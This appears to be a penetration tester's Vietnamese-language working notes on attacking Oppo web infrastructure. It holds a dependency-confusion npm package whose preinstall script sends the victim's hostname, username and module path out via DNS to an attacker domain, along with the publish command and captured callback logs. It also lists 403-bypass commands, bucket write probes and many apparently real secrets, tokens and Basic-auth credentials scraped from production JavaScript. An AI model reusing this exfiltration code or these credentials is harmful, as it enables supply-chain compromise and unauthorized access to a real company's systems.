Dependency Confusion
Tìm thấy một package JavaScript không được đăng ký ở trong https://shimo-test.myoas.com/lizard_view/static/static/lizard-one/shimo-2d94389d97f556edf1dbaf6cc377a670.5cc0a32e.js
:
- [x] Thử tạo ra một malicious package với `preinstall` script là gửi DNS query đến interactsh-server và publish lên registry của npmjs. Xem thêm [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies | by Alex Birsan | Medium](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610).
Package sẽ chạy đoạn script sau khi được install:
const dns = require('dns');
const util = require('util');
const os = require('os');
const hostname = os.hostname();
const hexEncodedHostname = Buffer.from(hostname).toString('hex');
const modulePath = __filename;
const hexEncodedModulePath = Buffer.from(modulePath).toString('hex');
const username = os.userInfo().username;
const hexEncodedUsername = Buffer.from(username).toString('hex');
const domainToQuery = `${hexEncodedModulePath}.${hexEncodedHostname}.${hexEncodedUsername}.d0dcr42g23pn6ljocl9036y56bu159tc9.insomnia1102.online`;
const lookup = util.promisify(dns.lookup);
async function checkDns() {
console.log(`[Preinstall] Attempting to resolve DNS for: ${domainToQuery}`);
try {
const { address, family } = await lookup(domainToQuery);
console.log(`[Preinstall] DNS resolved for ${domainToQuery}:`);
console.log(` Address: ${address}`);
console.log(` IP Version: ${family === 4 ? 'IPv4' : 'IPv6'}`);
} catch (error) {
console.error(`[Preinstall] Failed to resolve DNS for ${domainToQuery}.`);
console.error(` Error: ${error.message}`);
}
}
checkDns();
Đoạn script này sẽ gửi DNS query có chứa hostname và username về interactsh-server
thông qua DNS query.
Câu lệnh publish:
npm publish --access public
Đường dẫn của package: @shimosre/fingerprintjs - npm
Trong quá trình xây dựng exploit thì đã lỡ tay xóa mất version 3.3.3 và không có cách nào revert lại. Email từ npmjs
~~~ad-quote
I can confirm that there is no way to re-use a version of a package in the npm registry, even if it's been unpublished. The reason for this is that various systems rely on "name@version" being a unique identifier, and start throwing security warnings if the shasum changes.
This also closes a very significant potential security vulnerability if any part of the registry infrastructure is ever compromised, without asking humans to keep track of opaque shasums themselves. For this reason, we recommend bumping the version for even the most trivial updates.
To summarize:
- Once package@version has been used, you can never use it again. You must publish a new version even if you unpublished the old one.
- Once you have unpublished a package, you will not be able to undo the unpublish.
- If you entirely unpublish all versions of a package, you may not publish any new versions of that package until 24 hours have passed.
~~~
Điều này khiến cho ta không thể publish package với phiên bản 3.3.3 mà Oppo đang dùng để thực hiện RCE.
Mặc dù không khai thác được trong môi trường của Oppo nhưng vẫn nhận được khá nhiều DNS query từ nhiều nguồn. Đa số đến từ các ASN của Microsoft, Google, Tencent, etc. Ví dụ:
~~~log
[2025-05-07 06:59:34] [3438333063386166653536342d726f6f74.d0dcr42g23pn6ljocl9036y56bu159tc9] Received DNS interaction (SOA) from 74.125.46.158 at 2025-05-07 06:59:32
[2025-05-07 06:59:34] -----------
[2025-05-07 06:59:34] DNS Request
[2025-05-07 06:59:34] -----------
[2025-05-07 06:59:34]
[2025-05-07 06:59:34] ;; opcode: QUERY, status: NOERROR, id: 4458
[2025-05-07 06:59:34] ;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
[2025-05-07 06:59:34]
[2025-05-07 06:59:34] ;; OPT PSEUDOSECTION:
[2025-05-07 06:59:34] ; EDNS: version 0; flags:; udp: 1232
[2025-05-07 06:59:34]
[2025-05-07 06:59:34] ;; QUESTION SECTION:
[2025-05-07 06:59:34] ;3438333063386166653536342d726f6f74.d0dcr42g23pn6ljocl9036y56bu159tc9.insomnia1102.online. IN SOA
~~~
Giá trị `3438333063386166653536342d726f6f74` sau khi decode là `4830c8afe564-root`.
Tìm được thêm các URL sau có chứa thông tin về các package không được đăng ký trên npmjs registry:
https://images.yxt.com/static/common/decorate/decorate-modules.h5.home0211.min.89420dae.oppo.js
"yxt-eco":"0.0.11"
"yxt-i18n":"^2.0.16"
"yxt-scan":"^0.2.8"
"yxt-h5":"^1.3.43"
"yxt-open-data":"^2.0.12"
https://images.yxt.com/static/packages/yxt-biz-h5/1.8.20-oppo.14/lib/index.min.js
"yxt-eco":"0.0.12"
"yxt-i18n":"^2.0.14"
"yxt-scan":"^0.2.8"
"yxt-h5":"^1.3.43"
"yxt-open-data":"^2.0.12"
https://images.yxt.com/static/packages/yxt-biz-h5/1.8.20-oppo.14/lib/base.min.js
"yxt-eco":"0.0.12"
"yxt-i18n":"^2.0.14"
"yxt-scan":"^0.2.8"
"yxt-h5":"^1.3.43"
"yxt-open-data":"^2.0.12"
https://images.yxt.com/static/packages/IM/1.0.14/lib/IM.umd.min.js
"yxt-open-data":"^2.0.16"
title: Todo: Thiết lập infra để khai thác các package trong các URL trên.
TinyMCE ❌
Tìm thấy phiên bản TinyMCE có lỗ hổng XSS ở trang https://scrm.myoppo.com
:
/*!
* TinyMCE
*
* Copyright (c) 2023 Ephox Corporation DBA Tiny Technologies, Inc.
* Licensed under the Tiny commercial license. See https://www.tiny.cloud/legal/
*
* Version: 6.7.2
*/
title: Khai thác XSS của TinyMCE
Trang này yêu cầu login và ta không có tài khoản.
URLs
- https://aem-static.wanyol.com/public/jimu/config/env.js: có nhiều URL của một số file JS.
- [-]
https://store.oppomobile.com/json/lists.json
: metadata của một số ứng dụng. Đặc biệt, nó có chứa quyền truy cập của các ứng dụng chẳng hạn nhưandroid.permission.CAMERA
hayandroid.permission.RECORD_AUDIO
. -
http://apisnd.heytapmobi.com/getDNList
: danh sách các subdomain. -
http://47.94.225.108:4000
: một úng dụng blog. -
http://yihuandl.oppo.com/Thumbs.db
-
https://moform.myoas.com/error
: có một vài đoạn script. -
https://countly.myoas.com/i
:"Missing parameter \"app_key\" or \"device_id\""
-
https://countly.myoas.com/o
:"Missing parameter \"app_id\""
-
https://crm-stable.wanyol.com/web/runtime/extended.json
-
https://crm.oppo.com/web/runtime/extended.json
-
https://id.oppo.com/resources/js/oppo.login.js
: có URL môi trường test củaid.oppo.com
-
https://adsfs-in.oppomobile.com/
: chứa liên kết đết các object trong bucket. -
https://chat-sg.oppo.com/console
: khi sử dụngconsoles
hayconsolegame
thì đều cho ra response giống nhau. Có thể là lỗi cấu hình alias của Nginx? -
https://ccp.oppo.com/client/mobile
: hiển thị error log của FreeMarker Java Template Engine. -
https://gkm-eu.oppo.com/globeknowledge/config/label/queryAll
: trả về i18n của ứng dụng. Ta có thể forced browsing ở vị trí củalabel
. -
https://gkm-eu.oppo.com/globeknowledge/config/sys/dictItem/queryTreeList
: có thể forced browsing ở vị trí củadictItem
. -
https://gkm-portal-sg.oppo.com/globeknowledge/portal/auth/label/queryAll
: forced browsing ở vị trí củalabel
. -
https://gkm-portal.oppo.com/globeknowledge/portal/auth/label/queryAll
: forced browsing ở vị trí củalabel
. -
https://gkm-pre.oppo.com/globeknowledge/config/label/queryAll
: forced browsing ở vị trí củalabel
. -
https://gkm-sg.oppo.com/globeknowledge/config/label/queryAll
: forced browsing ở vị trí củalabel
. -
https://cloud-h5-prod.heytapmobi.com
: hiển thị một request khi truy cập. -
https://bigdata-m-uat.oppoit.com
: có custom devtool. -
https://countly.myoas.com/o/sources
: chứa toàn bộ các packages của ứng dụng. - https://ccp.oppo.com/host-manager/html: sử dụng Basic HTTP Authentication.
- https://54.151.160.5/%09/vps.insomnia.ninja: open redirect về
vps.insomnia.ninja
- https://apiws-phx-oln.myoppo.com/serverstatus
- http://itom.myoas.com/middleware/config/env.config.js?b61b873640e21ff18d3c
- https://clonephonefs-sg-coloros-com.s3.ap-southeast-1.amazonaws.com/downloader/20240918/PhoneCloneDownloader_116.apk
- https://open.oppomobile.com/bbs/robots.txt: có khá nhiều URLs.
- https://storemode-cn.coloros.com/test: có private key.
- https://i.browser.oppomobile.com/header
- https://community.oppo.com/origin: S3
- https://community.oppo.com/original: S3
- https://community.oppo.com/originals: S3
- https://communityin.oppo.com/sitemap.xml: chứa một số endpoints.
- https://communitytest.wanyol.com/guestbook: S3
- https://communitytest.wanyol.com/guestbook2: S3
- https://communitytest.wanyol.com/guestbooks: S3
- https://communitytest.wanyol.com/origin: S3
- https://communitytest.wanyol.com/original: S3
- https://communitytest.wanyol.com/originals: S3
- https://component-ota-eu.coloros.com/download?c=%00&p=%00&s=%00&id=%00&g5=%00: có khá nhiều param.
- https://component-ota-in.coloros.com/download: tương tự URL trên.
- https://component-ota.coloros.com/download: tương tự URL trên.
- https://dhfs-in.oppomobile.com/0: có một vài domain.
- https://hio.oppo.com/content/demo2/components/#frieze: các UI components.
- https://mtp.myoas.com/zone/js/pages/detail/index.js: có một số API
- https://mtp.myoas.com/zone/js/pages/images/index.html
- https://mtp.myoas.com/zone/js/pages/images/index.js: có một số path
- https://mtp.myoas.com/zone/js/pages/zone/index.html
- https://mtp.myoas.com/zone/js/pages/zone/index.js: có một số path
- https://mtp.myoas.com/zone/js/component/scroll.js
- https://dhfs.oppomobile.com/userfiles/cms/video_recommended/index.html#/home
- Applications:
- http://web.archive.org/web/20230626134723/http://fs.oppo.com/3/oppowww/androidrom/pcet00/PCET00_11_OTA_0080_all_PwClLkL9O9y2.ozip
- http://web.archive.org/web/20131213164958/http://fs.oppo.com/3/account/resource/js/deepblue/login.js
S3 Buckets ❌
Sử dụng httpx
tìm thấy được một số Amazon S3 Storage:
http://cdo-dev-store.s3v2-qos.storage.wanyol.com
http://cdo-test-store.s3v2-qos.storage.wanyol.com
http://magzinefs3.nearme.com.cn
http://s3v2-qos.storage.wanyol.com
http://searchfsf.oppomobile.com
http://storedl13f.nearme.com.cn
http://storedl4f.nearme.com.cn
...
Xem thêm:
- [Hacking misconfigured AWS S3 buckets: A complete guide](https://www.intigriti.com/researchers/blog/hacking-tools/hacking-misconfigured-aws-s3-buckets-a-complete-guide)
- [Ruby | Report #209223 - Open S3 Bucket WriteAble To Any Aws User | HackerOne](https://hackerone.com/reports/209223)
Nhìn chung, để khai thác các lỗ hổng misconfig của S3 thì ta cần phải biết bucket name.
Tìm được https://support.oppo.com/access.1
: có thông tin về bucket name: acess.1.s3.amazonaws.com
<Error>
<Code>PermanentRedirect</Code>
<Message>The bucket you are attempting to access must be addressed using the specified endpoint. Please send all future requests to this endpoint.</Message>
<Endpoint>s3.amazonaws.com</Endpoint>
<Bucket>access.1</Bucket>
<RequestId>B1JBQ2Q62WRX13RB</RequestId>
<HostId>fYKj7L6jaZLYbCYPMY3FFje4MkUYlDdk2yuMmyaiUAxr982WqpssJGXDTQYiSx8q8Um8QT2RiEf8SBZOcFIb4uF9krYhTRbhZ8Np96TrISk=</HostId>
</Error>
Ngoài ra, ta còn tìm được một số bucket name khác: /master.passwd
, /manifest.mf
, /tar.bz2
, /tar.gz
, /web.xml
, /sitemap.xml
:
title: Fail: Chạy `s3scanner` cho các bucket name tìm được ở [[#bucket-names|Bucket Names]].
Kết quả: không có gì.
Tìm được thêm bucket aname là access-log.1
thông qua URL sau: https://support.oppo.com/access-log.1
.
title: Fail: Chạy `s3scanner` cho bucket mới.
Kết quả: không có gì.
Alibaba Object Storage ❌
Tìm được một số Alibaba Object Storage:
http://bangmai-test.wanyol.com
http://breenofs.apps.coloros.com
http://breenofs.coloros.com
http://dhfs.nearme.com.cn
http://gkm-local-pre.wanyol.com
http://gkm-local-test.wanyol.com
http://prod-search.nearme.com.cn
http://relaxfsf.coloros.com
http://saucfs-cost.coloros.com
http://static-cn01a.oppomobile.com
http://videoclipfs.coloros.com
http://websitefs.coloros.com
http://yihuandl.oppo.com
https://browserimg.nearme.com.cn
https://gkm-eu.oppo.com
https://gkm-pre.oppo.com
https://gkm-sg.oppo.com
https://gkm.oppo.com
https://guifsf.coloros.com
https://labf.coloros.com
https://magzineimgf-in1.nearme.com.cn
https://magzineimgf-sg1.nearme.com.cn
https://magzineimgf-sg2.nearme.com.cn
https://openfs.oppomobile.com
https://preyihuandl.oppo.com
https://relax-fs-f.coloros.com
https://relaxfsf-eu.coloros.com
https://saucfs.coloros.com
https://sccfs.coloros.com
https://smartcardfs.coloros.com
https://sporthealth-iot.nearme.com.cn
https://tedsyncfs.coloros.com
title: Done: Thử gửi PUT request đến các domain này xem nó có chấp nhận hay không?
Xem thêm [Unauthorized Data Upload in Alibaba Cloud Object Storage Service | by Muhammad Waseem | Medium](https://medium.com/@muhammadwaseem29/unauthorized-data-upload-in-alibaba-cloud-object-storage-service-cefa6abcef7f)
Sau khi gửi PUT request đến các domain trên:
cat alibaba-domains-httpx.txt | jq -r '.chain_status_codes' | uniq
null
[
301,
200
]
null
Với URL của domain trả về 301 và 200 là https://opss-gsp-sg.oppo.com
. Thực chất, khi gửi PUT request đến https://opss-gsp-sg.oppo.com
, nó sẽ redirect về https://opsg-gsp-sg.oppo.com
chứ không thực sự chấp nhận data gửi lên.
Tìm được thêm các bucket sau:
-
https://appimg-search.nearme.com.cn
:appimg-search-nearme-com-cn.oss-cn-beijing.aliyuncs.com
-
https://storedl1.nearme.com.cn/appstore-apk
:o-appstore-apk.oss-cn-beijing.aliyuncs.com
-
https://video.heytapimage.com/
:dhfs-oppomobile-com-bj.oss-cn-beijing.aliyuncs.com
title: Fail: Thử gửi PUT request đến các bucket mới và tìm các cách tấn công khác.
Kết quả: không thành công
403
Tìm được các URL bị 403:
-
https://id.oppo.com/document/heytap/
-
https://fs.oppo.com/FUZZ
-
https://irobot.myoas.com/FUZZ
-
https://annual.myoas.com/FUZZ
-
https://faceapi.myoas.com/FUZZ
-
https://fsopen.coloros.com/FUZZ
-
https://iknow.myoas.com/FUZZ
-
https://iknow2.myoas.com/FUZZ
-
https://im.myoas.com/FUZZ
-
https://imapi.myoas.com/FUZZ
-
https://mo.myoas.com/FUZZ
-
https://moform.myoas.com/FUZZ
-
https://obus.myoas.com/FUZZ
-
https://ssl.myoas.com/FUZZ
-
https://tt.myoas.com/FUZZ
-
https://ttapi.myoas.com/FUZZ
-
https://ttlogin.myoas.com/FUZZ
-
https://ttmsg.myoas.com/FUZZ
-
https://ttpic.myoas.com/FUZZ
-
https://visitor.myoas.com/FUZZ
-
https://vote.myoas.com/FUZZ
title: Todo: Trích xuất danh sách các URL từ kết quả scan bị 403 rồi chạy `dirdar`, [`403jump`](https://github.com/trap-bytes/403jump) và [`nomore403`](https://github.com/devploit/nomore403).
Danh sách nguồn URL:
- [x] Từ `nmap-ipv4-filtered-httpx.txt`: `nmap-ipv4-filtered-403.txt` và `nmap-ipv4-filtered-404.txt`
- [x] Từ `nmap-as-filtered-httpx.txt`: `nmap-as-filtered-403.txt` và `nmap-as-filtered-404.txt`.
Chọn sử dụng `nomore403` vì nó viết bằng Go, được maintain và có nhiều option thỏa mãn nhu cầu. Câu lệnh:
~~~shell
ax scan dnslist-403.txt -m nomore403 -o dnslist-nomore-403.txt --extra-args '--bypass-ip 127.0.0.1 --technique verbs,headers,endpaths,midpaths,double-encoding --no-banner --redirect --timeout 10000 --unique'
~~~
Có thể thay 127.0.0.1 thành một host nào đó khác chẳng hạn như localhost hoặc 169.254.169.254.
Nên chạy `httpx` trước khi chạy `nomore403` vì khi gặp các host not-alive thì `nomore403` có thể bị treo.
Xem thêm:
- [Mastering 403 Forbidden Bypass Techniques ✨ | by Abhijeet Kumawat | Cyber Security Write-ups](https://cybersecuritywriteups.com/mastering-403-forbidden-bypass-techniques-2ab393f1c77f)
- [Part-2 | Mastering 403 Forbidden Bypass Techniques✨ | by Abhijeet Kumawat | Medium](https://medium.com/@Abhijeet_kumawat_/part-2-mastering-403-forbidden-bypass-techniques-707e7880fa22).
404
title: Todo: Viết script sử dụng API của Wayback Machine để tìm các snapshot cũ của các URL có status code là 404
Favorite Icon
title: Todo: Sử dụng favicon hash để tìm các trang web liên quan.
Công cụ: [sharsil/favicorn: All-sources tool to search websites by favicons](https://github.com/sharsil/favicorn)
Tham khảo: [7 Overlooked recon techniques to find more vulnerabilities](https://www.intigriti.com/researchers/blog/hacking-tools/7-overlooked-recon-techniques-to-find-more-vulnerabilities)
-
http://yihuandl.oppo.com/favicon.ico
-
https://avlconf.coloros.com/favicon.ico
-
https://imworkbench.myoas.com/favicon.ico
-
https://www.oppo.com/favicon.ico
-
https://www.oppo.com/etc.clientlibs/global-site/clientlibs/clientlib-design/resources/icons/favicon.ico
-
https://support.oppo.com/favicon.ico
-
http://abd-demo.wanyol.com/favicon.ico
-
http://adsfs.oppomobile.com/favicon.ico
-
https://store.oppomobile.com/favicon.ico
Secrets
Tìm thấy một vài secret và các endpoint ở domain account.myoas.net
như sau:
return Object(o.useEffect)((function() {
b.a.invokeQuickLogin && A.a.config({
secondLevelKey: "prod" === b.a.env || "pre" === b.a.env ? "65onmt8har825ppbqpdl7duq33lh8vka" : "jvqt4zg1c8ov5kdo1vr0xscq4f24tcug",
Tìm chức năng của secret này.
Tìm thấy secret sau ở https://scrm.myoppo.com/static/js/index.bd30653.js
:
scrm_admin_token="TGT-38892-tIDrKykIUdLH2bVbPJlaefdyaxRkQryYTorLNqExpSm2o3DGHF-SIAM":i.headers.scrm_admin_token=r;
Tìm chức năng của secret này
Tìm thấy secret sau ở https://opsg-gsp-sg.oppo.com/gsp/js/app.js?v=1731553522274
:
var loginParam = {
"loginCookies": csServ.getLoginCookies()
,"access_token": csServ.getAccessToken()
,"directUrl": globalURL.directUrl
/*"loginCookies": 'c95863e3145bf0282fbe4fc730cf0c67'
,"access_token": "e2af8219-7b3a-42f7-8228-0bb9b60709a0"*/
}
Tìm chức năng của secret này
Tìm thấy secret sau ở http://heythings-iot.wanyol.com/static/js/main.cfdfd19d.chunk.js
:
var a={api:"",domain:"heythings-iot.wanyol.com",openplatPreUrl:"openplat-bj-store-test.wanyol.com/iotplatform",loginDomain:"uc-heytap-web-test.wanyol.com",certificateUrl:"//openplat-bj-store-test.wanyol.com/new/admin/qualification",developGuide:"https://open.oppomobile.com/new/developmentDoc/info?id=10337",appKey:"4903d6f6b5514aeda25a7cb365aa5580",appSecret:"YARANf7OGDIdrjrW_jMAT2xRM33oMy6o_#Zc_As0Q3Wynbvtc#DmGpWN4cm2@5b3",openplatEntry:"//openplat-bj-store-test.wanyol.com/new/ecological/wisdom"}
Tìm chức năng của secret này
Tìm thấy secret sau ở https://cloud-pre.oppo.com/card/static/2025-4-25-1745569311253/js/app.ca4d64e1.js
:
VUE_APP_API_SECRET:"art3x7e701822d80ec9bh9tjr5iptbwrp9saf10debea008731637ea34b52skjz"
Tìm chức năng của secret này
Tìm được credentials của HTTP Basic Authentication ở http://gkm-portal.oppo.com/js/app.65977a7d.1744899229078.js
:
Basic dWk6cGFzc3dvcmQ
Giá trị decode là: ui:password
Tìm chức năng của secret này
IPs
Khi kiểm tra kết quả của nmap-ipv4-parsed
thì thấy có:
- IP
138.113.225.115
là của Meteverse Limited, được dùng để host các domain:nearme.com.cn
,www.nearme.com.cn
vàopposhop.cn
, bỏ qua. - IP
139.95.4.241
là của Alibaba Cloud, bỏ qua. - IP
47.94.225.108
là của Alibaba Cloud và nó có mở một số port như sau: FTP, SSH, 4000 (HTTP) và 888 (HTTP) - IP
182.40.45.95-98
là của ChinaNet Shandong Province Network được dùng để hostctcdn.cn
,nearme.com.cn
,www.nearme.com.cn
vàopposhop.cn
, bỏ qua.
Ngoài các IP trên thì đa số các IP còn lại đều có port 80 hoặc 443 hoặc cả hai. Từ đây, ta sẽ dùng httpx
để kiểm tra tính active của chúng. Nếu gặp status code 403 hoặc 404 thì ta lọc ra để dành cho việc bypass hoặc brute-force.